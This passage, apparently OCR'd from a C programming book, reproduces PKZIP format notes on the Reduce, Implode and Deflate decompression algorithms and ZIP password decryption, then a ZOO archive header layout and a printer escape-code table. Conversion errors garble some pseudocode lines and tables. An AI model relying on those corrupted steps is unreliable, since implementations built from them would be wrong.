The sets are encoded as \(\{N(j), S(j)[0], \ldots, S(j)[N(j)-1]\), where \(N(j)\) is the size of set \(S(\mathrm{j})\). \(\mathrm{N}(\mathrm{j})\) can be 0 , in which case the follower set for \(\mathrm{S}(\mathrm{j})\) is empty. Each \(N(\mathrm{j})\) value is encoded in 6 bits, followed by \(N(j)\) eight bit character values corresponding to \(\mathrm{S}(\mathrm{j})[0\) ] to \(S(j)[N(j)-1]\) respectively. If \(N(j)\) is 0 , then no values for \(S(j)\) are stored, and the value for \(N(j-1)\) immediately follows.

Immediately after the follower sets, is the compressed data stream. The compressed data stream can be interpreted for the probabilistic decompression as follows:
let Last-Character <- 0 .

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```

loop until done
if the follower set S(Last-Character) is empty then
read }8\mathrm{ bits from the input stream, and copy this
value to the output stream.
otherwise if the follower set S(Last-Character) is non-empty then
read 1 bit from the input stream.
if this bit is not zero then
read 8 bits from the input stream, and copy this
value to the output stream.
otherwise if this bit is zero then
read B(N(Last-Character)) bits from the input
stream, and assign this value to I.
Copy the value of S(Last-Character)[I] to the output stream.
assign the last value placed on the output stream to
Last-Character.
end loop
B(N(j)) is defined as the minimal number of bits required to encode the value N(j)-1.
The decompressed stream from above can then be expanded to re-create the original file as follows:
let State <- 0 .
loop until done
read }8\mathrm{ bits from the input stream into C.
case State of
0: if C is not equal to DLE (144 decimal) then
copy C to the output stream.
otherwise if C is equal to DLE then
let State <- 1.
1: if C is non-zero then
let V <- C.
let Len <- L(V)
let State <- F(Len).
otherwise if C is zero then
copy the value 144 (decimal) to the output stream.
let State <- 0
2: let Len <- Len + C
let State <- 3.
3: move backwards D(V,C) bytes in the output stream
(if this position is before the start of the output
stream, then assume that all the data before the
start of the output stream is filled with zeros).
copy Len+3 bytes from this position to the output stream.
let State <- 0.

```
end case
end loop
The functions \(F, L\), and \(D\) are dependent on the 'compression factor', 1 through 4, and are defined as follows:

For compression factor 1 :
\(L(X)\) equals the lower 7 bits of \(X\).
\(F(X)\) equals 2 if \(X\) equals 127 otherwise \(F(X)\) equals 3 .
\(D(X, Y)\) equals the (upper 1 bit of \(X) * 256+Y+1\).
For compression factor 2 :
\(L(X)\) equals the lower 6 bits of \(X\).
\(F(X)\) equals 2 if \(X\) equals 63 otherwise \(F(X)\) equals 3 .
\(D(X, Y)\) equals the (upper 2 bits of \(X\) ) * \(256+Y+1\).
For compression factor 3:
\(L(X)\) equals the lower 5 bits of \(X\).
\(F(X)\) equals 2 if \(X\) equals 31 otherwise \(F(X)\) equals 3 .
\(D(X, Y)\) equals the (upper 3 bits of \(X) * 256+Y+1\).
For compression factor 4 :
\(L(X)\) equals the lower 4 bits of \(X\).
\(F(X)\) equals 2 if \(X\) equals 15 otherwise \(F(X)\) equals 3.
\(D(X, Y)\) equals the (upper 4 bits of \(X\) ) \(* 256+Y+1\).
V. Imploding - Method 6

The Imploding algorithm is actually a combination of two distinct algorithms. The first algorithm compresses repeated byte sequences using a sliding dictionary. The second algorithm is used to compress the encoding of the sliding dictionary output, using multiple Shannon-Fano trees.

The Imploding algorithm can use a 4 K or 8 K sliding dictionary size. The dictionary size used can be determined by bit 1 in the general purpose flag word; a 0 bit indicates a 4 K dictionary while a 1 bit indicates an 8 K dictionary.

The Shannon-Fano trees are stored at the start of the compressed file. The number of trees stored is defined by bit 2 in the general purpose flag word; a 0 bit indicates two trees stored, a 1 bit indicates three trees are stored. If 3 trees are stored, the first Shannon-Fano tree represents the encoding of the Literal characters, the second tree represents the encoding of the Length information, the third represents the encoding of the Distance information. When 2 Shannon-Fano trees are stored, the Length tree is stored first, followed by the Distance tree.

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The Literal Shannon-Fano tree, if present is used to represent the entire ASCII character set, and contains 256 values. This tree is used to compress any data not compressed by the sliding dictionary algorithm. When this tree is present, the Minimum Match Length for the sliding dictionary is 3 . If this tree is not present, the Minimum Match Length is 2.

The Length Shannon-Fano tree is used to compress the Length part of the (length, distance) pairs from the sliding dictionary output. The Length tree contains 64 values, ranging from the Minimum Match Length, to 63 plus the Minimum Match Length.

The Distance Shannon-Fano tree is used to compress the Distance part of the (length, distance) pairs from the sliding dictionary output. The Distance tree contains 64 values, ranging from 0 to 63 , representing the upper 6 bits of the distance value. The distance values themselves will be between 0 and the sliding dictionary size, either 4 K or 8 K .

The Shannon-Fano trees themselves are stored in a compressed format. The first byte of the tree data represents the number of bytes of data representing the (compressed) Shannon-Fano tree minus 1. The remaining bytes represent the Shannon-Fano tree data encoded as:

High 4 bits: Number of values at this bit length + 1. (1-16)
Low 4 bits: Bit Length needed to represent value +1 . (1-16)
The Shannon-Fano codes can be constructed from the bit lengths using the following algorithm:
a. Sort the Bit Lengths in ascending order, while retaining the order of the original lengths stored in the file.
b. Generate the Shannon-Fano trees:
c. Code <- 0
d. Codel ncrement \(<-0\)
e. LastBitLength <- 0
f. i <- number of Shannon-Fano codes - 1 (either 255 or 63)
g.
h. loop while i >=0
i. \(\quad\) Code \(=\) Code + Codel ncrement
j. if BitLength(i) <> LastBitLength then
k. LastBitLength=BitLength(i)
I. Codel ncrement = 1 shifted left (16-LastBitLength)
m . ShannonCode(i) = Code
n. \(\quad i<-i-1\)
end loop
o. Reverse the order of all the bits in the above ShannonCode() vector, so that the most significant bit becomes the least significant bit. For example, the value \(0 \times 1234\) (hex) would become \(0 \times 2 \mathrm{C} 48\) (hex).
p. Restore the order of Shannon-Fano codes as originally stored within the file.

\section*{Example:}

This example will show the encoding of a Shannon-Fano tree of size 8. Notice that the actual Shannon-Fano trees used for Imploding are either 64 or 256 entries in size.

Example: \(0 \times 02,0 \times 42,0 \times 01,0 \times 13\)
The first byte indicates 3 values in this table. Decoding the bytes:
\(0 \times 42=5\) codes of 3 bits long
\(0 \times 01=1\) code of 2 bits long
\(0 \times 13=2\) codes of 4 bits long

This would generate the original bit length array of: \((3,3,3,3,3,2\), 4, 4)

There are 8 codes in this table for the values 0 thru 7. Using the algorithm to obtain the Shannon-Fano codes produces:
\begin{tabular}{ccrrrcc} 
Val & Sorted & \begin{tabular}{c} 
Constructed Code
\end{tabular} & \begin{tabular}{c} 
Reversed \\
Value
\end{tabular} & \begin{tabular}{c} 
Order \\
Restored
\end{tabular} & \begin{tabular}{c} 
Original \\
Length
\end{tabular} \\
\(0:\) & 2 & 1100000000000000 & 11 & 101 & 3 \\
\(1:\) & 3 & 1010000000000000 & 101 & 001 & 3 \\
\(2:\) & 3 & 100000000000000 & 001 & 110 & 3 \\
\(3:\) & 3 & 011000000000000 & 110 & 010 & 3 \\
\(4:\) & 3 & 010000000000000 & 010 & 100 & 3 \\
\(5:\) & 3 & 001000000000000 & 100 & 11 & 2 \\
6: & 4 & 000100000000000 & 1000 & 1000 & 4 \\
7: & 4 & 0000000000000000 & 0000 & 0000 & 4
\end{tabular}

The values in the Val, Order Restored and Original Length columns now represent the Shannon-Fano encoding tree that can be used for decoding the Shannon-Fano encoded data. How to parse the variable length Shannon-Fano values from the data stream is beyond the scope of this document. (See the references listed at the end of this document for more information.) However, traditional decoding schemes used for Huffman variable length decoding, such as the Greenlaw algorithm, can be successfully applied.

The compressed data stream begins immediately after the compressed Shannon-Fano data. The compressed data stream can be interpreted as follows:
loop until done
read 1 bit from input stream.
if this bit is non-zero then (encoded data is literal data) if Literal Shannon-Fano tree is present

\section*{836 A to Z of C}
read and decode character using Literal Shannon-Fano tree. otherwise
read 8 bits from input stream. copy character to the output stream.
otherwise (encoded data is sliding dictionary match)
if 8 K dictionary size
read 7 bits for offset Distance (lower 7 bits of offset). otherwise
read 6 bits for offset Distance (lower 6 bits of offset).
using the Distance Shannon-Fano tree, read and decode the upper 6 bits of the Distance value.
using the Length Shannon-Fano tree, read and decode the Length value.

Length <- Length + Minimum Match Length
if Length \(=63+\) Minimum Match Length
read 8 bits from the input stream, add this value to Length.
move backwards Distance+1 bytes in the output stream, and copy Length characters from this position to the output stream. (if this position is before the start of the output stream, then assume that all the data before the start of the output stream is filled with zeros).
end loop

\section*{VI. Tokenizing - Method 7}

This method is not used by PKZIP.

\section*{VII. Deflating - Method 8}

The Deflate algorithm is similar to the Implode algorithm using a sliding dictionary of up to 32 K with secondary compression from Huffman/Shannon-Fano codes.

The compressed data is stored in blocks with a header describing the block and the Huffman codes used in the data block. The header format is as follows:

Bit 0: Last Block bit This bit is set to 1 if this is the last compressed block in the data.
Bits 1-2: Block type
\(00(0)\) - Block is stored - All stored data is byte aligned. Skip bits until next byte, then next word = block length, followed by the ones compliment of the block length word. Remaining data in block is the stored data.
01 (1) - Use fixed Huffman codes for literal and distance codes.
Lit Code Bits Dist Code Bits
0-143 8 0-31 5
\[
\begin{array}{ll}
144-255 & 9 \\
256-279 & 7 \\
280-287 & 8
\end{array}
\]

Literal codes 286-287 and distance codes 30-31 are never used but participate in the huffman construction.

10 (2) - Dynamic Huffman codes. (See expanding Huffman codes)
11 (3) - Reserved - Flag a "Error in compressed data" if seen.

\section*{Expanding Huffman Codes}

If the data block is stored with dynamic Huffman codes, the Huffman codes are sent in the following compressed format:

5 Bits: \# of Literal codes sent - 256 (256-286)
All other codes are never sent
5 Bits: \# of Dist codes-1 (1-32)
4 Bits: \# of Bit Length codes-3 (3-19)
The Huffman codes are sent as bit lengths and the codes are built as described in the implode algorithm. The bit lengths themselves are compressed with Huffman codes. There are 19 bit length codes:

0-15: Represent bit lengths of 0-15
16: Copy the previous bit length 3-6 times. The next 2 bits indicate repeat length ( \(0=3, \ldots, 3=6\) ) Example: Codes 8,16 ( +2 bits 11), 16 ( +2 bits 10 ) will expand to 12 bit lengths of \(8(1+6+5)\)

17: Repeat a bit length of 0 for \(3-10\) times. (3 bits of length)
18: Repeat a bit length of 0 for \(11-138\) times ( 7 bits of length)
The lengths of the bit length codes are sent packed 3 bits per value ( \(0-7\) ) in the following order:
\[
16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15
\]

The Huffman codes should be built as described in the Implode algorithm except codes are assigned starting at the shortest bit length, i.e. the shortest code should be all 0's rather than all 1's. Also, codes with a bit length of zero do not participate in the tree construction. The codes are then used to decode the bit lengths for the literal and distance tables.

The bit lengths for the literal tables are sent first with the number of entries sent described by the 5 bits sent earlier. There are up to 286 literal characters; the first 256 represent the respective 8 bit character, code 256 represents the End-Of-Block code, the remaining 29 codes represent copy lengths of 3 thru 258. There are up to 30 distance codes representing distances from 1 thru 32 k as described below.

\section*{Length Codes}

Code Extra Length Code Extra Lengths Code Extra Lengths Code Extra Length(s)

\section*{838 A to \(Z\) of \(C\)}
\begin{tabular}{cccccccccccc} 
& Bits & \multicolumn{5}{c}{ Bits } & \multicolumn{4}{c}{ Bits } \\
257 & 0 & 3 & 265 & 1 & 11,12 & 273 & 3 & \(35-42\) & 281 & 5 & \(131-162\) \\
258 & 0 & 4 & 266 & 1 & 13,14 & 274 & 3 & \(43-50\) & 282 & 5 & \(163-194\) \\
259 & 0 & 5 & 267 & 1 & 15,16 & 275 & 3 & \(51-58\) & 283 & 5 & \(195-226\) \\
260 & 0 & 6 & 268 & 1 & 17,18 & 276 & 3 & \(59-66\) & 284 & 5 & \(227-257\) \\
261 & 0 & 7 & 269 & 2 & \(19-22\) & 277 & 4 & \(67-82\) & 285 & 0 & 258 \\
262 & 0 & 8 & 270 & 2 & \(23-26\) & 278 & 4 & \(83-98\) & & & \\
263 & 0 & 9 & 271 & 2 & \(27-30\) & 279 & 4 & \(99-114\) & & & \\
264 & 0 & 10 & 272 & 2 & \(31-34\) & 280 & 4 & \(115-130\) & &
\end{tabular}

\section*{Distance Codes}
\begin{tabular}{|c|c|c|c|c|c|c|c|c|c|c|c|}
\hline Co & Extra & \multicolumn{4}{|c|}{Extra} & \multicolumn{3}{|c|}{Extra} & \multicolumn{3}{|l|}{Co Extra} \\
\hline de & Bits & Distance & ode & Bits & Distance & ode & Bits & Distance & de & Bits & Distance \\
\hline 0 & 0 & 1 & 8 & 3 & 17-24 & 16 & 7 & 257-384 & 24 & 11 & 4097-6144 \\
\hline 1 & 0 & 2 & 9 & 3 & 25-32 & 17 & 7 & 385-512 & 25 & 11 & 6145-8192 \\
\hline 2 & 0 & 3 & 10 & 4 & 33-48 & 18 & 8 & 513-768 & 26 & 12 & 8193-12288 \\
\hline 3 & 0 & 4 & 11 & 4 & 49-64 & 19 & 8 & 769-1024 & 27 & 12 & 12289-16384 \\
\hline 4 & 1 & 5,6 & 12 & 5 & 65-96 & 20 & 9 & 1025-1536 & 28 & 13 & 16385-24576 \\
\hline 5 & 1 & 7,8 & 13 & 5 & 97-128 & 21 & 9 & 1537-2048 & 29 & 13 & 24577-32768 \\
\hline 6 & 2 & 9-12 & 14 & 6 & 129-192 & 22 & 10 & 2049-3072 & & & \\
\hline 7 & 2 & 13-16 & 15 & 6 & 193-256 & 23 & 10 & 3073-4096 & & & \\
\hline
\end{tabular}

The compressed data stream begins immediately after the compressed header data. The compressed data stream can be interpreted as follows:
do
read header from input stream.
if stored block
skip bits until byte aligned
read count and 1's compliment of count
copy count bytes data block
otherwise
loop until end of block code sent
decode literal character from input stream
if literal < 256
copy character to the output stream
otherwise
if literal = end of block break from loop
otherwise
decode distance from input stream
move backwards distance bytes in the output stream, and copy length characters from this position to the output stream.
end loop
while not last block
if data descriptor exists
skip bits until byte aligned
read crc and sizes
endif

\section*{VIII. Decryption}

The encryption used in PKZIP was generously supplied by Roger Schlafly. PKWARE is grateful to Mr. Schlafly for his expert help and advice in the field of data encryption.

PKZIP encrypts the compressed data stream. Encrypted files must be decrypted before they can be extracted.

Each encrypted file has an extra 12 bytes stored at the start of the data area defining the encryption header for that file. The encryption header is originally set to random values, and then itself encrypted, using three, 32-bit keys. The key values are initialized using the supplied encryption password. After each byte is encrypted, the keys are then updated using pseudo-random number generation techniques in combination with the same CRC-32 algorithm used in PKZIP and described elsewhere in this document.

The following is the basic steps required to decrypt a file:
a. Initialize the three 32-bit keys with the password.
b. Read and decrypt the 12-byte encryption header, further initializing the encryption keys.
c. Read and decrypt the compressed data stream using the encryption keys.
```

Step 1-I nitializing the encryption keys
Key(0) <- 305419896
Key(1) <- 591751049
Key(2) <- 878082192
loop for i <- 0 to length(password)-1
update_keys(password(i))
end loop
Where update_keys() is defined as:
update_keys(char):
Key(0) <- crc32(key(0),char)
Key(1) <- Key(1) + (Key(0) \& 000000ffH)
Key(1) <- Key(1) * 134775813 + 1
Key(2) <- crc32(key(2),key(1) >> 24)
end update_keys

```

\section*{840 A to \(Z\) of \(C\)}

Where crc32(old_crc,char) is a routine that given a CRC value and a character, returns an updated CRC value after applying the CRC- 32 algorithm described elsewhere in this document.

\section*{Step 2 - Decrypting the encryption header}

The purpose of this step is to further initialize the encryption keys, based on random data, to render a plaintext attack on the data ineffective.
Read the 12-byte encryption header into Buffer, in locations
Buffer(0) thru Buffer(11).
```

loop for i <- 0 to 11
C <- buffer(i) ^ decrypt_byte()
update_keys(C)
buffer(\overline{)}}<-\textrm{C
end loop
Where decrypt_byte() is defined as:
unsigned char decrypt_byte()
local unsigned short temp
temp <- Key(2) | 2
decrypt_byte <- (temp * (temp ^ 1)) >> 8
end decrypt_byte

```

After the header is decrypted, the last 1 or 2 bytes in Buffer should be the high-order word/byte of the CRC for the file being decrypted, stored in Intel low-byte/high-byte order. Versions of PKZIP prior to 2.0 used a 2 byte CRC check; a 1 byte CRC check is used on versions after 2.0. This can be used to test if the password supplied is correct or not.

\section*{Step 3 - Decrypting the compressed data stream}

The compressed data stream can be decrypted as follows:
```

loop until done
read a character into C
Temp <- C ^ decrypt_byte()
update_keys(temp)
output Temp
end loop

```

In addition to the above mentioned contributors to PKZIP and PKUNZIP, I would like to extend special thanks to Robert Mahoney for suggesting the extension .ZIP for this software.

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\subsection*{72.20 ZOO}

The ZOO archive program by Raoul Dhesi is a file compression program now superceeded in both compression and speed by most other compression programs. The archive header looks like this :
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 20 & char & Archive header text, ^Z terminated, null padded \\
\hline 0014 h & 1 & dword & ID=0FDC4A7DCh \\
\hline 0018 h & 1 & dword & Offset of first file in archive \\
\hline 001 Ch & 1 & dword & Offset of ???? \\
\hline 0020 h & 1 & byte & Version archive was made by \\
\hline 0021 h & 1 & byte & Minimum version needed to extract \\
\hline
\end{tabular}

Each stored file has its own header, which looks like this:
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & dword & ID=0FDC4A7DCh \\
\hline 0004h & 1 & byte & Type of directory entry \\
\hline 0005 h & 1 & byte & \begin{tabular}{l} 
Compression method : \\
0 - stored \\
\(1-\) Crunched : LZW, 4K buffer, \\
var len (9-13 bits)
\end{tabular} \\
\hline 0006h & 1 & dword & Offset of next directory entry \\
\hline 000Ah & 1 & dword & Offset of next header \\
\hline 000Dh & 1 & word & Original date / time of file \\
\hline
\end{tabular}

\section*{842 A to \(Z\) of C}
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0012h & 1 & word & CRC-16 of file \\
\hline 0014 h & 1 & dword & Uncompressed size of file \\
\hline 0018 h & 1 & dword & Compressed size of file \\
\hline 001Ch & 1 & byte & Version this file was compressed by \\
\hline 001Dh & 1 & byte & Minimum version needed to extract \\
\hline 001Eh & 1 & byte & \begin{tabular}{l} 
Deleted flag \\
0- file in archive \\
\(1-\) file is considered deleted
\end{tabular} \\
\hline 001Fh & 1 & dword & Offset of comment field, 0 if none \\
\hline 0023 h & 1 & word & Length of comment field \\
\hline 0025 h & \(?\) & char & ASClIZ path / filename \\
\hline
\end{tabular}

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"To show partiality is not good."

\section*{Printer Escape Codes}
\begin{tabular}{|c|c|c|c|}
\hline FEATURE & ESCAPE CODE & 9 Pin & 24 Pin \\
\hline \multicolumn{4}{|l|}{Pitch And Proportional Spacing} \\
\hline Proportional On/Off & ESC p n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Print Enhancement} \\
\hline Select NLQ or Draft & ESC \(\times\) n & \(\checkmark\) & \(\checkmark\) \\
\hline Expanded Print On/Off & ESC W n & \(\checkmark\) & \(\checkmark\) \\
\hline Double High On/Off & ESC wn & \(\checkmark\) & \(\checkmark\) \\
\hline Underlining On/Off & ESC - n & \(\checkmark\) & \(\checkmark\) \\
\hline Select Super/Subscript & ESC S \(n\) & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{User Defined Character} \\
\hline Select Character Set & ESC \% n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Miscellaneous Codes} \\
\hline Unidirectional On/Off & ESC U n & \(\checkmark\) & \(\checkmark\) \\
\hline Half Speed On/Off & ESC s n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Print Style Selection} \\
\hline Select Font: & ESC kn & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=0\) Roman & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=1\) San Serif & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=2\) Courier & & & \(\checkmark\) \\
\hline \(\mathrm{n}=3\) Prestige & & & \(\checkmark\) \\
\hline \(\mathrm{n}=4\) Script & & & \(\checkmark\) \\
\hline \(\mathrm{n}=5\) Ocr-B & & & \(\checkmark\) \\
\hline \(\mathrm{n}=6\) Ocr-A & & & \(\checkmark\) \\
\hline \(\mathrm{n}=7\) Orator & Available only with & & \(\checkmark\) \\
\hline \(\mathrm{n}=8\) Orator S & Multi-Font Module & & \(\checkmark\) \\
\hline Character Style: & ESC q \(n\) & & \(\checkmark\) \\
\hline \(\mathrm{n}=0\) Normal & & & \(\checkmark\) \\
\hline \(\mathrm{n}=1\) Outline & & & \(\checkmark\) \\
\hline \(\mathrm{n}=2\) Shadow & & & \(\checkmark\) \\
\hline \(\mathrm{n}=3\) Outline \& Shadow & & & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Print Style Selection} \\
\hline Master Select: & ESC!n & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=0\) Pica & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=1\) Elite & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=2\) Proportional & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=4\) Condensed & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=8 \mathrm{Emphasized}\) & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=16\) Double Strike & & \(\checkmark\) & \(\checkmark\) \\
\hline
\end{tabular}

\section*{844 A to \(Z\) of \(C\)}
\begin{tabular}{|c|c|c|c|}
\hline FEATURE & ESCAPE CODE & 9 Pin & 24 Pin \\
\hline \multicolumn{4}{|l|}{Print Style Selection} \\
\hline \(\mathrm{n}=32\) Double Wide & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=64\) Italic & & \(\checkmark\) & \(\checkmark\) \\
\hline \(\mathrm{n}=128\) Underline & & \(\checkmark\) & \(\checkmark\) \\
\hline Select Score: & ESC (-n1 n2 m d1 d2 & & \(\checkmark\) \\
\hline n1 Must be 3 & & & \(\checkmark\) \\
\hline n2 Must be 0 & & & \(\checkmark\) \\
\hline m Must be 1 & & & \(\checkmark\) \\
\hline d1 \(=1\) Underscore & & & \(\checkmark\) \\
\hline d1 \(=2\) Strike-Through & & & \(\checkmark\) \\
\hline d1 \(=3\) Overscore & & & \(\checkmark\) \\
\hline \(\mathrm{d} 2=0\) Cancel Selected Score & & & \(\checkmark\) \\
\hline d2 \(=1\) Single Line Continuous & & & \(\checkmark\) \\
\hline d2 \(=2\) Double Line Continuous & & & \(\checkmark\) \\
\hline \(\mathrm{d} 2=5\) Single Line Broken & & & \(\checkmark\) \\
\hline d2 \(=6\) Double Line Broken & & & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Line Spacing} \\
\hline n/360-inch Spacing & ESC + n & & \(\checkmark\) \\
\hline \(\mathrm{n} / 180\)-inch Spacing & ESC 3 n & & \(\checkmark\) \\
\hline \(\mathrm{n} / 216\)-inch Spacing & ESC 3 n & \(\checkmark\) & \\
\hline \(\mathrm{n} / 60\)-inch Spacing & ESC A n & & \(\checkmark\) \\
\hline n/72-inch Spacing & ESC A n & \(\checkmark\) & \\
\hline Immediate \(\mathrm{n} / 216\) Feed & ESCJ n & \(\checkmark\) & \(\checkmark\) \\
\hline Immediate \(\mathrm{n} / 180\) Feed & ESC J n & & \\
\hline Reverse Feed n/216 & ESC jn & \(\checkmark\) & \(\checkmark\) \\
\hline Reverse Feed \(\mathrm{n} / 180\) & ESC j n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Page Formatting} \\
\hline Immediate Mode On/Off & ESC i n & \(\checkmark\) & \\
\hline Intercharacter Spacing & ESC SP \(n\) & \(\checkmark\) & \(\checkmark\) \\
\hline Page Length in Lines & ESC C \(n\) & \(\checkmark\) & \(\checkmark\) \\
\hline Page Length in Inches & ESC C NUL n & \(\checkmark\) & \(\checkmark\) \\
\hline Skip Over Perforation & ESC N n & \(\checkmark\) & \(\checkmark\) \\
\hline Set Left Margin & ESCIn & \(\checkmark\) & \(\checkmark\) \\
\hline Set Right Margi & ESC Q n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Horizontal Tab Setting} \\
\hline Horizontal Tab & HT & \(\checkmark\) & \(\checkmark\) \\
\hline Horizontal Tab Stops & ESC D n1 n2..NUL & \(\checkmark\) & \(\checkmark\) \\
\hline Set Tab Increment & ESC e NUL n & \(\checkmark\) & \(\checkmark\) \\
\hline SET HTabs in Spaces & ESC f NUL n & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{Vertical Tab Setting} \\
\hline Set Tab Stops & ESC B n1 n2..NUL & \(\checkmark\) & \(\checkmark\) \\
\hline Set VFU Tab Channel & ESC b \(\times\) n1 n2..NUL & \(\checkmark\) & \(\checkmark\) \\
\hline Select VFU Tab Channel & ESC / x & \(\checkmark\) & \(\checkmark\) \\
\hline Set Tab Increment & ESC e 1 n & \(\checkmark\) & \(\checkmark\) \\
\hline Vertical Skip & ESC f 1 n & \(\checkmark\) & \(\checkmark\) \\
\hline Set VTabs in Channel & ESC b c n1 n2...NUL & \(\checkmark\) & \(\checkmark\) \\
\hline Set VTab Channel & ESC / n & \(\checkmark\) & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline FEATURE & ESCAPE CODE & 9 Pin & 24 Pin \\
\hline \multicolumn{4}{|l|}{Graphics} \\
\hline Select Graphic Mode 8-Pin Graphics:
\[
\begin{array}{ll}
\mathrm{m}=0 & 60 \mathrm{DPI} \\
\mathrm{~m}=1 & 120 \mathrm{DPI} \\
\mathrm{~m}=2 & 120 \mathrm{DPI} \\
\mathrm{~m}=3 & 240 \mathrm{DPI} \\
\mathrm{~m}=4 & 80 \mathrm{DPI} \\
\mathrm{~m}=5 & 72 \mathrm{DPI} \\
\mathrm{~m}=6 & 90 \mathrm{DPI} \\
\mathrm{~m}=7 & 144 \mathrm{DPI}
\end{array}
\] & ESC * m n1 n2 data & \[
\begin{aligned}
& \hline \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] &  \\
\hline \begin{tabular}{l}
Select Graphics Mode 24-Pin Graphics: \\
\(\mathrm{m}=32 \quad 60 \mathrm{DPI}\) \\
\(\mathrm{m}=33 \quad 120 \mathrm{DPI}\) \\
\(m=38 \quad 90\) DPI \\
\(\mathrm{m}=39 \quad 180 \mathrm{DPI}\) \\
\(\mathrm{m}=40360 \mathrm{DPI}\)
\end{tabular} & ESC * m n1 n2 data & & \[
\begin{aligned}
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\]
\[
\checkmark
\] \\
\hline \multicolumn{4}{|l|}{Individual Graphics Commands} \\
\hline \begin{tabular}{l}
Single-Density 60 DPI \\
Double-Density 120 DPI \\
Hi-Speed Dbl. 120 DPI \\
Quad. Density 240 DPI \\
9-Pin 60 DPI \\
9-Pin 120 DPI \\
Reassign Graphics Mode
\end{tabular} & ESC K n1 n2 data ESC L n1 n2 data ESC Y n1 n2 data ESC Z n1 n2 data ESC ^ 0 n 1 n 2 data ESC^1n1 n2 data ESC? n & \[
\begin{aligned}
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] & \\
\hline \multicolumn{4}{|l|}{Epson Extended Character Set} \\
\hline Set to Epson Extended character set & ESC m 4 & \(\checkmark\) & \(\checkmark\) \\
\hline \multicolumn{4}{|l|}{User Defined Characters} \\
\hline \begin{tabular}{l}
Define User Defined Character \\
Copy ROM to RAM \\
Copy ROM to RAM \\
\(\mathrm{n}=0\) Roman \\
\(\mathrm{n}=1\) San Serif \\
Select ROM CG \\
Select Download CG
\end{tabular} & \begin{tabular}{l}
ESC \& NUL n1 n2 a1 data \\
ESC: NUL NUL NUL \\
ESC : NUL n NUL \\
ESC \% 0 \\
ESC \% 1
\end{tabular} & \begin{tabular}{l}
\(\checkmark\) \\
\(\checkmark\) \\
\(\checkmark\) \\
\(\checkmark\) \\
\(\checkmark\)
\end{tabular} & \[
\begin{aligned}
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] \\
\hline \multicolumn{4}{|l|}{Justification} \\
\hline \begin{tabular}{l}
Justification: \\
\(\mathrm{n}=0\) Flush Left \\
\(\mathrm{n}=1\) Centering \\
\(\mathrm{n}=2\) Flush Right \\
\(\mathrm{n}=3\) Justified
\end{tabular} & ESC a n & \[
\begin{aligned}
& \hline \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] & \[
\begin{aligned}
& \hline \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] \\
\hline \multicolumn{4}{|l|}{Select Character Table} \\
\hline \begin{tabular}{l}
Select Character Set: \\
\(\mathrm{n}=0\) Italic set \\
\(\mathrm{n}=1\) Graphic set \\
\(\mathrm{n}=2\) User-Defined Set \\
Remap to 80h-FFh
\end{tabular} & ESC t n & \begin{tabular}{l}
\[
\checkmark
\] \\
\(\checkmark\) \\
\(\checkmark\)
\end{tabular} & \[
\begin{aligned}
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark \\
& \checkmark
\end{aligned}
\] \\
\hline
\end{tabular}

\section*{846 A to \(Z\) of \(C\)}
\begin{tabular}{|c|c|c|c|}
\hline FEATURE & ESCAPE CODE & 9 Pin & 24 Pin \\
\hline \multicolumn{4}{|l|}{Select Character Table} \\
\hline \begin{tabular}{l}
Printable Code Area Expansion: \\
\(\mathrm{n}=0\) Restore Codes \\
\(\mathrm{n}=1\) Redefine Codes
\end{tabular} & ESC I n & \(\checkmark\) & \\
\hline \begin{tabular}{l}
Select International Character Set: \\
\(\mathrm{n}=0\) USA \\
\(\mathrm{n}=1\) France \\
\(\mathrm{n}=2\) Germany \\
\(\mathrm{n}=3\) United Kingdom \\
\(\mathrm{n}=4\) Denmark I \\
\(\mathrm{n}=5\) Sweden \\
\(\mathrm{n}=6\) Italy \\
\(\mathrm{n}=7\) Spain \\
\(\mathrm{n}=8 \mathrm{Japan}\) \\
\(\mathrm{n}=9\) Norway \\
\(\mathrm{n}=10\) Denmark II \\
\(\mathrm{n}=11\) Spain II \\
\(\mathrm{n}=12\) Latin America \\
\(\mathrm{n}=13\) Korea \\
